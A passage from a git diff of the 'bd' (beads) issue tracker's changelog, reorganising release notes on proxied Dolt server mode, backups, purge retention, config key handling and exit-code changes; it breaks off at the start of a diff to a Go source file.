routes. +- `bd sql` in direct server mode prints `OK` / `{"status":"ok"}` for a + multi-statement write or a write the parser cannot classify, instead of + `OK, N rows affected` / `{"rows_affected":N}`. `bd sql --readonly` refuses + statements it cannot parse (for example `PRAGMA`) instead of running them + as reads. +- A failure to read the custom issue types now fails `bd types`, + `bd create --graph` and `bd config set storage-class.*` instead of being + treated as "no custom types". +- `BEADS_DIR` must point at the `.beads` directory itself. A `BEADS_DIR` that + names a project root, or a `.beads` that does not exist yet, now fails with + "no beads database found" instead of silently resolving to the nearest + workspace above the current directory. +- `bd purge` always keeps closed beads a live bead depends on + (`live_dependent_skipped`); there is no flag to turn this off. +- `--older-than` on `bd purge` and `bd prune` is exact at hour precision: + `12h` no longer rounds up to a day, so `bd prune --older-than 12h` deletes + rows it used to keep. +- `bd close` with several ids exits non-zero when any of them fails to close. +- Unflagged piped `bd query` is no longer capped at 50 rows. +- On a proxied workspace with `dolt.auto-commit` set to `batch` or `off`, + writes are no longer committed to Dolt history one by one; run + `bd dolt commit` to flush them. +- `bd backup sync` fails after waiting 5 seconds if another backup of the same + workspace is running. +- `bd ready` / `bd list --ready` include issues in custom `active`-category + statuses, and a store open against an unreachable Dolt server on a + proxied-server workspace or under `bd serve` retries for up to ~40s before + failing. Both come from [#6653](https://github.com/gastownhall/beads/pull/6653); see **Changed**. + ### Added - **`bd backup` works on a proxied-server workspace bd runs the Dolt server - for.** `bd backup init`, `sync`, `remove`, `status` and `restore` are routed + for** ([#6584](https://github.com/gastownhall/beads/pull/6584)). `bd backup init`, `sync`, `remove`, `status` and `restore` are routed over the proxied provider; before this, a proxied workspace — the default topology since 1.3.0 — had no backup path at all. `bd backup restore` stops the proxy and its Dolt child before replacing the database and leaves the @@ -32,14 +79,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 network from its own environment, which is the same credential question the next slice has to answer for `dolt push`. - Backups on this topology are **explicit only**. Auto-backup has no - post-command hook on the proxied path, so `backup.enabled=true` does nothing - there; `bd backup status` and `bd backup` help now say so instead of - attributing the OFF to a missing git remote, which was never the reason on a - server topology. Wiring an auto-backup hook through the new routes is left to - a later slice. + `bd backup status` and `bd backup` help no longer attribute auto-backup being + OFF on a server topology to a missing git remote, which was never the reason + there ([#6694](https://github.com/gastownhall/beads/pull/6694)). Auto-backup + itself is opt-in on this topology; see the next entry. -- **Auto-backup runs on a managed-local proxied-server workspace.** The +- **Auto-backup runs on a managed-local proxied-server workspace** + ([#6879](https://github.com/gastownhall/beads/pull/6879)). The proxied arm of the post-command hook now calls auto-backup, so an explicit `backup.enabled=true` (or `BD_BACKUP_ENABLED=1`) takes the same throttled, change-detected Dolt-native backup into `.beads/backup` it takes in direct @@ -60,7 +106,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 up to 5 seconds (the bound restore uses for the workspace gate) and then fails with "another backup is running for this workspace". -- **`bd purge` covers an orchestrator's wisp retention sweep.** Three changes +- **`bd purge` covers an orchestrator's wisp retention sweep** + ([#6883](https://github.com/gastownhall/beads/pull/6883)). Three changes that together let `bd purge --wisps-plane --older-than 168h --force` replace a raw `DELETE FROM wisps` retention step: - **Live-dependent protection, always on.** `bd purge` no longer deletes a @@ -94,7 +141,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed -- **Proxied-server refusals now say *why* they refuse.** The JSON a refused +- **Proxied-server refusals now say *why* they refuse** ([#6582](https://github.com/gastownhall/beads/pull/6582)). The JSON a refused command prints gains a `reason` field next to the existing `code`, `error` and `mutates`: `design` for a refusal that is expected to stay (shared history, multi-repo routing, destructive admin, strict `--readonly`) and @@ -118,209 +165,34 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 instead of the message followed by `Error: exit code 1` and the full usage text. Exit statuses are unchanged; this applies on every topology. -- **`bd purge` keeps closed beads a live bead depends on.** A closed bead - that a not-done bead depends on through `parent-child`, `tracks` or - `blocks` is no longer purged (reported as `live_dependent_skipped`), so a - purge that used to delete a closed molecule root under a live step now - leaves it. See the `--wisps-plane` entry under Added. +- **`bd purge` keeps closed beads a live bead depends on, always** + ([#6883](https://github.com/gastownhall/beads/pull/6883)). A closed bead that a not-done bead depends on through + `parent-child`, `tracks` or `blocks` is no longer purged (reported as + `live_dependent_skipped`), so a purge that used to delete a closed molecule + root under a live step now leaves it. There is no flag to turn this off. + See the `--wisps-plane` entry under Added. -### Fixed +- **`--older-than` on `bd purge` and `bd prune` is taken at hour precision** + ([#6883](https://github.com/gastownhall/beads/pull/6883)). An `Nh` value is no longer rounded to whole days: `12h` used to + round UP to one day and now means 12 hours, so `bd prune --older-than 12h` + deletes rows closed 12–24 hours ago that it used to keep; `36h` used to floor + to one day and now means 36 hours. Day values (`7`, `7d`, `2w`) are + unchanged. See the `bd purge` entry under Added. -- **An explicit `BEADS_DIR` is authoritative during workspace discovery.** - When `BEADS_DIR` named a directory without project files yet (missing, - empty, or not initialized), discovery ignored it and walked up from the - current directory instead, then rebound `BEADS_DIR` to whatever ancestor - workspace it found. `bd init` refused with "already initialized" because of - the parent workspace, and data commands such as `bd create` and `bd list` - read and wrote the parent's store. Discovery now reports no workspace for - such a `BEADS_DIR`, so `bd init` initializes the named directory and other - commands fail with "no beads database found". `bd import`/`bd setup` and - `bd bootstrap` target the named directory when they create a workspace. - Behaviour with `BEADS_DIR` unset is unchanged. **Behaviour change:** a - `BEADS_DIR` that points at a project root rather than its `.beads` - directory (for example `BEADS_DIR=$repo` instead of `BEADS_DIR=$repo/.beads`), - or at a `.beads` that does not exist yet, used to work by accident because - discovery walked up to the nearest workspace; it now fails with "no beads - database found". Point `BEADS_DIR` at the `.beads` directory itself. - ([#6938](https://github.com/gastownhall/beads/pull/6938)) - -- **A proxied workspace's proxy retires when its Dolt backend exits - cleanly.** The proxy noticed its `dolt sql-server` child exiting only when - the exit status was non-zero. A backend that shut down gracefully (for - example on SIGTERM) left the proxy up and adoptable in front of a dead store: - with `--proxied-server-idle-timeout 0` it never went away, `bd dolt status` - called it running, and every command failed until `bd dolt stop`. The proxy - now retires on any backend exit, as it already did on a crash, so the next bd - command (including `bd ping`) starts a fresh proxy and backend. `bd dolt - status` no longer reports a proxy whose managed backend is gone as running: - the text says "not serving" and the JSON reports `running: false` (with - `proxy_pid` still set), including for a stranded proxy started by an older - bd. ([#6937](https://github.com/gastownhall/beads/pull/6937)) - -- **`bd show --watch` works under `--proxied-server`.** It was refused with - `proxy.watch.unsupported` although the provider can answer the poll the way - `bd list --watch` already does, so every proxied workspace — the default - transport for managed-local setups — had no way to watch a bead. The proxied - route now shares the direct route's loop: render once, re-read every 2s, - redraw only when the issue's status or `updated_at` changes, stop cleanly on - Ctrl+C/SIGTERM, and require exactly one id. Each poll opens its own short - unit of work, so a long watch never pins a transaction, and a poll that - fails (the issue was deleted, the backend blipped) keeps the last render - without printing, as on the direct route. On both routes a watch whose id - cannot be found now exits non-zero instead of 0. - -- **A server-mode workspace with an empty `.beads/dolt` is no longer refused - as legacy** - ([#5682](https://github.com/gastownhall/beads/issues/5682), - [#6935](https://github.com/gastownhall/beads/pull/6935)). bd creates `.beads/dolt` on use even when the data lives on an - external Dolt server, and leaves it empty. When the gitignored - `.local_version` witness was missing — after a fresh checkout, or when a - provisioner created the empty root before `bd init --server --external` — - the legacy-upgrade guard refused every command, `bd init` included, as a - "legacy Dolt server workspace", and no bd command could repair it. An empty - root holds nothing a legacy release could have left, so the guard now admits - it: `bd init` writes the witness, and an existing workspace in that state - re-seeds it on the next command. A pre-1.0 witness, or a `.beads/dolt` that - holds anything, is still refused. - -- **`bd types` now lists exactly the types `bd create --type` accepts** - ([#6934](https://github.com/gastownhall/beads/pull/6934)). The two resolved - the type set through different code and could disagree: a server-mode - workspace's `bd types` dropped `.beads/config.yaml` `types.custom` entries - once the database had any custom type, although create accepts them; in - proxied mode `bd config set storage-class.` checked `config.yaml` alone - and refused custom types registered in the database; and the built-in system - types `message`, `molecule`, `gate` and `event` were never listed. Every - mode now composes custom types by one rule (the `custom_types` table, else - the `types.custom` config row, always unioned with `config.yaml`). `bd types` - gains a "System types" section, and `bd types --json` an additive - `system_types` field; `core_types` and `custom_types` are unchanged. A - failure to read the custom types now fails `bd types`, `bd create --graph` - and `bd config set storage-class.*` instead of being silently treated as "no - custom types". - -- **`bd sql` no longer drops the rows of CTE queries or CALL result sets** - ([#6932](https://github.com/gastownhall/beads/pull/6932)). In proxied-server - mode, `WITH name(cols) AS (...) SELECT ...` and `WITH RECURSIVE ...` queries - were misread as writes and printed `OK, 0 rows affected` with no error; they - now return their rows. Statements are now classified with the Dolt SQL - parser (shared by the proxied and direct paths): reads return rows, plain - writes (including CTE-prefixed `UPDATE`/`DELETE`) commit and report - `rows_affected`, and anything that may both write and return rows (`CALL`, - `EXPLAIN ANALYZE` of a write, `RETURNING`) or that the parser cannot - classify is committed and prints whatever rows it returns, so - `CALL DOLT_BRANCH(...)`-style result sets are rendered instead of discarded. - Visible changes for scripts: in direct server mode a multi-statement write, - or a single write statement the parser cannot classify, now prints `OK` / - `{"status":"ok"}` (as proxied mode already did) instead of - `OK, N rows affected` / `{"rows_affected":N}`; and `--readonly` now refuses - statements it cannot parse (for example `PRAGMA`) instead of treating them - as reads. - -- **The #6716 fan-in stall is fixed on the proxied-server route and the - remaining store routes.** Two blockers of one dependent taken away at the - same time (parallel workers closing both, or a close racing a - `bd dep remove` or a delete of the other) could leave the dependent - `is_blocked=1` and missing from `bd ready` until `bd recompute-blocked` - ([#6716](https://github.com/gastownhall/beads/issues/6716)). The post-commit - recheck the Dolt store write transactions gained for that issue now also - runs on every write the proxied-server (uow/domain-db) route serves, which - under `--proxied-server` — the default topology — is `bd close` (single - and batch), `bd update --status`, `bd dep remove`, `bd delete`, `bd batch` - and `bd serve`; on `RunInTransaction` (`bd batch` direct, `bd cook`, - `bd mol squash`/`burn`, and SDK callers that close or update inside a - transaction); and on the wisp close, update and delete writers and the - legacy dependency removal behind `bd duplicates --merge`. Demote-to-wisp - moves a row between planes without taking a blocker away and is unchanged. - -- Unblocking two blockers of one dependent at the same time — closing both, - or a close racing a `bd dep remove` or a delete of the other — no longer - leaves the dependent stuck as blocked and hidden from `bd ready` until - `bd recompute-blocked`: a write that takes a blocker away (a close, an - update to an inactive status, a dependency removal, a delete) and runs - through a Dolt store write transaction now rechecks the dependents it - recomputed once that transaction has committed - ([#6716](https://github.com/gastownhall/beads/issues/6716)). The - proxied-server route and the remaining store routes are covered by the - entry above. - -- **`bd close` now exits non-zero when any issue in a batch fails to close** - ([#6648](https://github.com/gastownhall/beads/issues/6648)). A batch with one - refused id used to exit 0 as long as another id closed, so scripts could not - tell that part of the batch was left open. The closable ids still close, the - refusals are still printed, and a final `Error: N of M issues failed to close` - line is added; ids that were already closed still count as success. Both the - direct and proxied-server routes behave this way for ids the close policy or - the engine refuses. (An id that cannot be *resolved* at all is unchanged and - still differs by route: the direct route aborts the whole command before any - close runs, while the proxied route refuses that argument and closes the - rest.) In `--json` mode the summary is instead a compact JSON line on stderr - naming the failed ids, matching `bd update`'s partial-failure report, while - stdout keeps the usual closed-issues array. Each `failed[]` entry carries the - refusal as the engine worded it, identically on both routes; the `--force` - hint and the route's own framing stay on the human-readable stderr line, which - is unchanged. `--claim-next` still claims when - part of the batch closed — the claim commits inside the batch's own - transaction and a sibling's refusal does not roll it back — so the summary - names the claimed id rather than leaving it silently assigned. - -- **`bd query` no longer silently stops at 50 rows when its output is piped** - ([#6229](https://github.com/gastownhall/beads/issues/6229)). `bd list` has - treated piped stdout as unlimited since GH#4094, but `bd query` read its - `--limit` default of 50 straight through, so `bd query '...' | consumer` - dropped every row past 50 with no hint. An unflagged `bd query` now resolves - through the same policy as `bd list`: an explicit `--limit` wins, piped - stdout is unlimited, agent mode on a terminal gets 20, and a terminal gets 50. - -## [1.3.1] - 2026-09-16 - -### Changed - -- **`bd dolt status --json` changes shape on a proxied workspace** - ([#6580](https://github.com/gastownhall/beads/pull/6580)). It now emits - `{"mode": "proxied-server", "root": ..., "running": , "proxy_pid": - ..., "proxy_port": ..., "backend_managed": ..., "backend_running": ..., - "backend_pid": ..., "backend_port": ..., "backend_endpoint": ..., - "idle_timeout": ...}` instead of the always-false `{"running": false, "pid": - 0, "port": 0}` — `pid` and `port` are gone, replaced by the `proxy_*` and - `backend_*` pairs. `running` no longer reports a bd-managed dolt PID file; it - describes the proxy, the endpoint every bd command connects through, so it is - now usually true where it used to be always false. `backend_managed` is false - on external proxied topologies, where the dolt server is not bd's process to - report on and `backend_endpoint` names it instead. Anything parsing the old - payload changes behaviour on upgrade. Direct-server, shared, embedded and - externally-managed workspaces keep the output they had. - -- **`bd config set ` deletes a flat top-level key of the same - literal name** ([#6578](https://github.com/gastownhall/beads/pull/6578)). - Dotted keys are now written as a nested mapping (see **Fixed** below for why), - and where the file already carried the flat spelling — a top-level key whose - *name* contains the dot, such as `dolt.host: "10.0.0.1"` — that entry is - removed and the value re-emitted under `dolt:`. Only the key being written is - touched; other dotted keys, including ones bd did not write, are left exactly - as they are. - - `.beads/config.yaml` is not exclusively bd's, so this can be visible outside - bd: an external tool that both writes *and* reads flat dotted keys there will - stop seeing any value bd migrates this way. Any dotted key bd stores in - `config.yaml` rather than the database can collide; in practice that means - `dolt.*`, `export.auto`, and `backup.enabled`. If the other writer then - re-adds its flat key, the file carries both spellings and bd's own readers - disagree — Viper-backed reads (`bd config get`, and the `dolt.auto-start` - lookup on the store-open path) return the **flat** value, while - `GetStringFromDir` returns the **nested** one, so a `bd config set` can be - shadowed by a stale flat entry. Tracked as - [#6594](https://github.com/gastownhall/beads/issues/6594). Until that lands, - in a workspace whose config another tool maintains, let that tool own its - keys, or check `.beads/config.yaml` for a duplicated key after running - `bd config set`. - -- **Two `bd config set` writes that used to exit 0 now exit 1** - ([#6578](https://github.com/gastownhall/beads/pull/6578)), because both wrote - a value no reader could see: setting a dotted key under a parent that already - holds a scalar (`sync: enabled`, then `bd config set sync.remote`), and - setting one in a file whose top level is not a mapping. A script that - tolerated the old exit 0 now has to handle the failure. +- **`dolt.auto-commit=batch` and `off` now take effect on a proxied-server + workspace, and `bd dolt commit` works there** ([#6499](https://github.com/gastownhall/beads/pull/6499), + [#4995](https://github.com/gastownhall/beads/issues/4995)). Every proxied write used to mint a Dolt history commit + whatever `dolt.auto-commit` said, and `bd dolt commit` was refused with + `proxy.dolt_commit.unsupported`. Under `batch`/`off` a proxied write now + lands in the server's working set without advancing Dolt history, and + `bd dolt commit` is the flush point, as on the direct route. Commands that + are explicit commit points (`bd batch`, `bd mol bond`/`pour`/`squash`, + `bd mol wisp create`, and the wisp half of `bd mol burn`) still commit, and + `bd serve` writes still commit per write. `on`, the default, is unchanged. + **Behaviour change:** a proxied workspace that set `batch` or `off` and was + getting per-write commits anyway now accumulates uncommitted changes until + `bd dolt commit`, and `dolt log`, `dolt push` and backups do not see them + before that. `bd vc commit`'s proxied refusal now points at `bd dolt commit`. - **`bd ready` and `bd list --ready` now return issues whose custom status is in the `active` category** ([#5918](https://github.com/gastownhall/beads/pull/5918), @@ -409,25 +281,158 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed -- **`bd dolt start` no longer puts a second sql-server over a proxied - workspace's data directory.** On a proxied-server workspace the default root - IS `.beads/dolt`, and `bd dolt start` knew nothing about proxied mode: with - the proxy quiesced it launched an unsupervised `dolt sql-server` directly - over that root, after which ordinary bd commands failed (`invalid - connection`) because the relaunched proxy found a foreign server on its - port; with the proxy live it instead adopted the proxy's own dolt child into - bd's classic PID/port records, leaving two managers for one process. It is - now a typed refusal with code `proxy.dolt_start.conflict`. The proxy owns - its backend's lifecycle — it starts on demand and `bd dolt stop` shuts it - down. Direct-server and embedded workspaces are unaffected. +- **An explicit `BEADS_DIR` is authoritative during workspace discovery.** + When `BEADS_DIR` named a directory without project files yet (missing, + empty, or not initialized), discovery ignored it and walked up from the + current directory instead, then rebound `BEADS_DIR` to whatever ancestor + workspace it found. `bd init` refused with "already initialized" because of + the parent workspace, and data commands such as `bd create` and `bd list` + read and wrote the parent's store. Discovery now reports no workspace for + such a `BEADS_DIR`, so `bd init` initializes the named directory and other + commands fail with "no beads database found". `bd import`/`bd setup` and + `bd bootstrap` target the named directory when they create a workspace. + Behaviour with `BEADS_DIR` unset is unchanged. **Behaviour change:** a + `BEADS_DIR` that points at a project root rather than its `.beads` + directory (for example `BEADS_DIR=$repo` instead of `BEADS_DIR=$repo/.beads`), + or at a `.beads` that does not exist yet, used to work by accident because + discovery walked up to the nearest workspace; it now fails with "no beads + database found". Point `BEADS_DIR` at the `.beads` directory itself. + ([#6938](https://github.com/gastownhall/beads/pull/6938)) -- **`bd dolt status` tells the truth on a proxied workspace.** It read the - classic PID file, which proxied mode never writes, and so reported `Dolt - server: not running` while the proxy was serving CRUD — the wrong answer - that sent operators to `bd dolt start` in the first place. It now reads the - proxy's own records and reports the proxy and its dolt backend separately, - without starting either. The `--json` payload changes shape to carry that — - see **Changed** above before parsing it. +- **A proxied workspace's proxy retires when its Dolt backend exits + cleanly.** The proxy noticed its `dolt sql-server` child exiting only when + the exit status was non-zero. A backend that shut down gracefully (for + example on SIGTERM) left the proxy up and adoptable in front of a dead store: + with `--proxied-server-idle-timeout 0` it never went away, `bd dolt status` + called it running, and every command failed until `bd dolt stop`. The proxy + now retires on any backend exit, as it already did on a crash, so the next bd + command (including `bd ping`) starts a fresh proxy and backend. `bd dolt + status` no longer reports a proxy whose managed backend is gone as running: + the text says "not serving" and the JSON reports `running: false` (with + `proxy_pid` still set), including for a stranded proxy started by an older + bd. ([#6937](https://github.com/gastownhall/beads/pull/6937)) + +- **`bd show --watch` works under `--proxied-server`.** It was refused with + `proxy.watch.unsupported` although the provider can answer the poll the way + `bd list --watch` already does, so every proxied workspace — the default + transport for managed-local setups — had no way to watch a bead. The proxied + route now shares the direct route's loop: render once, re-read every 2s, + redraw only when the issue's status or `updated_at` changes, stop cleanly on + Ctrl+C/SIGTERM, and require exactly one id. Each poll opens its own short + unit of work, so a long watch never pins a transaction, and a poll that + fails (the issue was deleted, the backend blipped) keeps the last render + without printing, as on the direct route. On both routes a watch whose id + cannot be found now exits 1 instead of 0 ([#6933](https://github.com/gastownhall/beads/pull/6933)). + +- **A server-mode workspace with an empty `.beads/dolt` is no longer refused + as legacy** + ([#5682](https://github.com/gastownhall/beads/issues/5682), + [#6935](https://github.com/gastownhall/beads/pull/6935)). bd creates `.beads/dolt` on use even when the data lives on an + external Dolt server, and leaves it empty. When the gitignored + `.local_version` witness was missing — after a fresh checkout, or when a + provisioner created the empty root before `bd init --server --external` — + the legacy-upgrade guard refused every command, `bd init` included, as a + "legacy Dolt server workspace", and no bd command could repair it. An empty + root holds nothing a legacy release could have left, so the guard now admits + it: `bd init` writes the witness, and an existing workspace in that state + re-seeds it on the next command. A pre-1.0 witness, or a `.beads/dolt` that + holds anything, is still refused. + +- **`bd types` now lists exactly the types `bd create --type` accepts** + ([#6934](https://github.com/gastownhall/beads/pull/6934)). The two resolved + the type set through different code and could disagree: a server-mode + workspace's `bd types` dropped `.beads/config.yaml` `types.custom` entries + once the database had any custom type, although create accepts them; in + proxied mode `bd config set storage-class.` checked `config.yaml` alone + and refused custom types registered in the database; and the built-in system + types `message`, `molecule`, `gate` and `event` were never listed. Every + mode now composes custom types by one rule (the `custom_types` table, else + the `types.custom` config row, always unioned with `config.yaml`). `bd types` + gains a "System types" section, and `bd types --json` an additive + `system_types` field; `core_types` and `custom_types` are unchanged. A + failure to read the custom types now fails `bd types`, `bd create --graph` + and `bd config set storage-class.*` instead of being silently treated as "no + custom types". + +- **`bd sql` no longer drops the rows of CTE queries or CALL result sets** + ([#6932](https://github.com/gastownhall/beads/pull/6932)). In proxied-server + mode, `WITH name(cols) AS (...) SELECT ...` and `WITH RECURSIVE ...` queries + were misread as writes and printed `OK, 0 rows affected` with no error; they + now return their rows. Statements are now classified with the Dolt SQL + parser (shared by the proxied and direct paths): reads return rows, plain + writes (including CTE-prefixed `UPDATE`/`DELETE`) commit and report + `rows_affected`, and anything that may both write and return rows (`CALL`, + `EXPLAIN ANALYZE` of a write, `RETURNING`) or that the parser cannot + classify is committed and prints whatever rows it returns, so + `CALL DOLT_BRANCH(...)`-style result sets are rendered instead of discarded. + Visible changes for scripts: in direct server mode a multi-statement write, + or a single write statement the parser cannot classify, now prints `OK` / + `{"status":"ok"}` (as proxied mode already did) instead of + `OK, N rows affected` / `{"rows_affected":N}`; and `--readonly` now refuses + statements it cannot parse (for example `PRAGMA`) instead of treating them + as reads. + +- **Unblocking two blockers of one dependent at the same time no longer leaves + the dependent stuck as blocked** ([#6716](https://github.com/gastownhall/beads/issues/6716); [#6719](https://github.com/gastownhall/beads/pull/6719), [#6942](https://github.com/gastownhall/beads/pull/6942)). + Closing both blockers in parallel (formula fan-in with parallel workers), or + a close racing a `bd dep remove` or a delete of the other, could leave the + dependent `is_blocked=1` and missing from `bd ready` until + `bd recompute-blocked`. A write that takes a blocker away (a close, an update + to an inactive status, a dependency removal, a delete) now rechecks the + dependents it recomputed once its transaction has committed. This covers the + Dolt store write transactions, every write the proxied-server (uow/domain-db) + route serves — under `--proxied-server`, the default topology, that is + `bd close` (single and batch), `bd update --status`, `bd dep remove`, + `bd delete`, `bd batch` and `bd serve` — `RunInTransaction` (`bd batch` + direct, `bd cook`, `bd mol squash`/`burn`, and SDK callers that close or + update inside a transaction), the wisp close, update and delete writers, and + the legacy dependency removal behind `bd duplicates --merge`. Demote-to-wisp + moves a row between planes without taking a blocker away and is unchanged. + +- **`bd close` now exits non-zero when any issue in a batch fails to close** + ([#6648](https://github.com/gastownhall/beads/issues/6648); [#6740](https://github.com/gastownhall/beads/pull/6740), [#6771](https://github.com/gastownhall/beads/pull/6771)). A batch with one + refused id used to exit 0 as long as another id closed, so scripts could not + tell that part of the batch was left open. The closable ids still close, the + refusals are still printed, and a final `Error: N of M issues failed to close` + line is added; ids that were already closed still count as success. Both the + direct and proxied-server routes behave this way for ids the close policy or + the engine refuses. (An id that cannot be *resolved* at all is unchanged and + still differs by route: the direct route aborts the whole command before any + close runs, while the proxied route refuses that argument and closes the + rest.) In `--json` mode the summary is instead a compact JSON line on stderr + naming the failed ids, matching `bd update`'s partial-failure report, while + stdout keeps the usual closed-issues array. Each `failed[]` entry carries the + refusal as the engine worded it, identically on both routes; the `--force` + hint and the route's own framing stay on the human-readable stderr line, which + is unchanged. `--claim-next` still claims when + part of the batch closed — the claim commits inside the batch's own + transaction and a sibling's refusal does not roll it back — so the summary + names the claimed id rather than leaving it silently assigned. + +- **`bd query` no longer silently stops at 50 rows when its output is piped** + ([#6229](https://github.com/gastownhall/beads/issues/6229), [#6744](https://github.com/gastownhall/beads/pull/6744)). `bd list` has + treated piped stdout as unlimited since GH#4094, but `bd query` read its + `--limit` default of 50 straight through, so `bd query '...' | consumer` + dropped every row past 50 with no hint. An unflagged `bd query` now resolves + through the same policy as `bd list`: an explicit `--limit` wins, piped + stdout is unlimited, agent mode on a terminal gets 20, and a terminal gets 50. + +- **Deleting or purging a wisp no longer leaves orphan rows behind on stores + without the wisp foreign keys** ([#6563](https://github.com/gastownhall/beads/pull/6563), [#6627](https://github.com/gastownhall/beads/pull/6627), [#6487](https://github.com/gastownhall/beads/issues/6487)). + On a store whose `wisp_dependencies` and wisp auxiliary tables lack the + migration-0047 FK constraints, every wisp delete (including `bd purge`, + `bd mol burn` and wisp GC) left its `wisp_dependencies` edges on both sides + and its `wisp_labels`, `wisp_events`, `wisp_comments` and + `wisp_child_counters` rows in place, which showed up as dangling parent + references and store bloat. The delete paths now remove them. This is a + forward fix: orphans already in a store are not cleaned up. + +- **A clone missing its local `events`, `bd_events_journal` or `bd_events_seq` + table recreates it on open** ([#6547](https://github.com/gastownhall/beads/pull/6547)). Those tables are dolt-ignored, so + a fresh clone can arrive at the latest schema version without them, and bd + then treated the schema as complete and never created them. Their absence + now makes the migration runner replay the migrations that create them, from + each table's own floor rather than from zero. - **The smart migrate gate no longer auto-migrates a clone whose data is behind the remote** ([#6575](https://github.com/gastownhall/beads/issues/6575)). The @@ -529,23 +534,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 --force` / `BD_ALLOW_REMOTE_MIGRATE=1` are still consulted before the gate and still override it. -- **A dotted config key now round-trips: what `bd config set` writes, - `bd config get` and bd's own readers find** - ([#6578](https://github.com/gastownhall/beads/pull/6578), bd-zj95). Setting a - key like `sync.remote` or `dolt.host` into a `config.yaml` with no matching - section appended a key whose *name* contained the dot — a top-level - `sync.remote: "..."` — instead of nesting it under `sync:`. Viper finds a key - spelled that way; the direct reader `GetStringFromDir` splits on the dot and - walks nested mappings, so it does not. The value was set and invisible at the - same time depending on which reader asked, and `bd init --remote` in a fresh - workspace was the ordinary way in: the remote was recorded and then not found. - Dotted keys are written nested now, and `bd config unset` removes the nested - form — it only ever matched the flat spelling, so unsetting - `sync.remote` silently left the remote live. Keys the write does not own, - including dotted ones somebody else put there, are left exactly as they are. - Two consequences of the nested write — the flat-key migration and two new - failure exits — are under **Changed** above. - - **`bd list --status --ready` honors `--status`** ([#5924](https://github.com/gastownhall/beads/pull/5924), [#5832](https://github.com/gastownhall/beads/issues/5832)). Combining the two @@ -643,6 +631,95 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 context. Durable rejections and an unresolvable hostname still fail without retrying. See **Changed** for the latency this adds against a dead endpoint. +## [1.3.1-rc.1] - 2026-09-16 + +### Changed + +- **`bd dolt status --json` changes shape on a proxied workspace** + ([#6580](https://github.com/gastownhall/beads/pull/6580)). It now emits + `{"mode": "proxied-server", "root": ..., "running": , "proxy_pid": + ..., "proxy_port": ..., "backend_managed": ..., "backend_running": ..., + "backend_pid": ..., "backend_port": ..., "backend_endpoint": ..., + "idle_timeout": ...}` instead of the always-false `{"running": false, "pid": + 0, "port": 0}` — `pid` and `port` are gone, replaced by the `proxy_*` and + `backend_*` pairs. `running` no longer reports a bd-managed dolt PID file; it + describes the proxy, the endpoint every bd command connects through, so it is + now usually true where it used to be always false. `backend_managed` is false + on external proxied topologies, where the dolt server is not bd's process to + report on and `backend_endpoint` names it instead. Anything parsing the old + payload changes behaviour on upgrade. Direct-server, shared, embedded and + externally-managed workspaces keep the output they had. + +- **`bd config set ` deletes a flat top-level key of the same + literal name** ([#6578](https://github.com/gastownhall/beads/pull/6578)). + Dotted keys are now written as a nested mapping (see **Fixed** below for why), + and where the file already carried the flat spelling — a top-level key whose + *name* contains the dot, such as `dolt.host: "10.0.0.1"` — that entry is + removed and the value re-emitted under `dolt:`. Only the key being written is + touched; other dotted keys, including ones bd did not write, are left exactly + as they are. + + `.beads/config.yaml` is not exclusively bd's, so this can be visible outside + bd: an external tool that both writes *and* reads flat dotted keys there will + stop seeing any value bd migrates this way. Any dotted key bd stores in + `config.yaml` rather than the database can collide; in practice that means + `dolt.*`, `export.auto`, and `backup.enabled`. If the other writer then + re-adds its flat key, the file carries both spellings and bd's own readers + disagree — Viper-backed reads (`bd config get`, and the `dolt.auto-start` + lookup on the store-open path) return the **flat** value, while + `GetStringFromDir` returns the **nested** one, so a `bd config set` can be + shadowed by a stale flat entry. Tracked as + [#6594](https://github.com/gastownhall/beads/issues/6594). Until that lands, + in a workspace whose config another tool maintains, let that tool own its + keys, or check `.beads/config.yaml` for a duplicated key after running + `bd config set`. + +- **Two `bd config set` writes that used to exit 0 now exit 1** + ([#6578](https://github.com/gastownhall/beads/pull/6578)), because both wrote + a value no reader could see: setting a dotted key under a parent that already + holds a scalar (`sync: enabled`, then `bd config set sync.remote`), and + setting one in a file whose top level is not a mapping. A script that + tolerated the old exit 0 now has to handle the failure. + +### Fixed + +- **`bd dolt start` no longer puts a second sql-server over a proxied + workspace's data directory.** On a proxied-server workspace the default root + IS `.beads/dolt`, and `bd dolt start` knew nothing about proxied mode: with + the proxy quiesced it launched an unsupervised `dolt sql-server` directly + over that root, after which ordinary bd commands failed (`invalid + connection`) because the relaunched proxy found a foreign server on its + port; with the proxy live it instead adopted the proxy's own dolt child into + bd's classic PID/port records, leaving two managers for one process. It is + now a typed refusal with code `proxy.dolt_start.conflict`. The proxy owns + its backend's lifecycle — it starts on demand and `bd dolt stop` shuts it + down. Direct-server and embedded workspaces are unaffected. + +- **`bd dolt status` tells the truth on a proxied workspace.** It read the + classic PID file, which proxied mode never writes, and so reported `Dolt + server: not running` while the proxy was serving CRUD — the wrong answer + that sent operators to `bd dolt start` in the first place. It now reads the + proxy's own records and reports the proxy and its dolt backend separately, + without starting either. The `--json` payload changes shape to carry that — + see **Changed** above before parsing it. + +- **A dotted config key now round-trips: what `bd config set` writes, + `bd config get` and bd's own readers find** + ([#6578](https://github.com/gastownhall/beads/pull/6578), bd-zj95). Setting a + key like `sync.remote` or `dolt.host` into a `config.yaml` with no matching + section appended a key whose *name* contained the dot — a top-level + `sync.remote: "..."` — instead of nesting it under `sync:`. Viper finds a key + spelled that way; the direct reader `GetStringFromDir` splits on the dot and + walks nested mappings, so it does not. The value was set and invisible at the + same time depending on which reader asked, and `bd init --remote` in a fresh + workspace was the ordinary way in: the remote was recorded and then not found. + Dotted keys are written nested now, and `bd config unset` removes the nested + form — it only ever matched the flat spelling, so unsetting + `sync.remote` silently left the remote live. Keys the write does not own, + including dotted ones somebody else put there, are left exactly as they are. + Two consequences of the nested write — the flat-key migration and two new + failure exits — are under **Changed** above. + ## [1.3.0] - 2026-09-15 The first tested release off `main` since the 1.1 line. [1.2.2] was a recovery diff --git a/cmd/bd/info.go b/cmd/bd/info.go index d33378517..94fadebb7 100644 --- a/cmd/bd/info.go +++ b/cmd/bd/info.go @@ -220,6 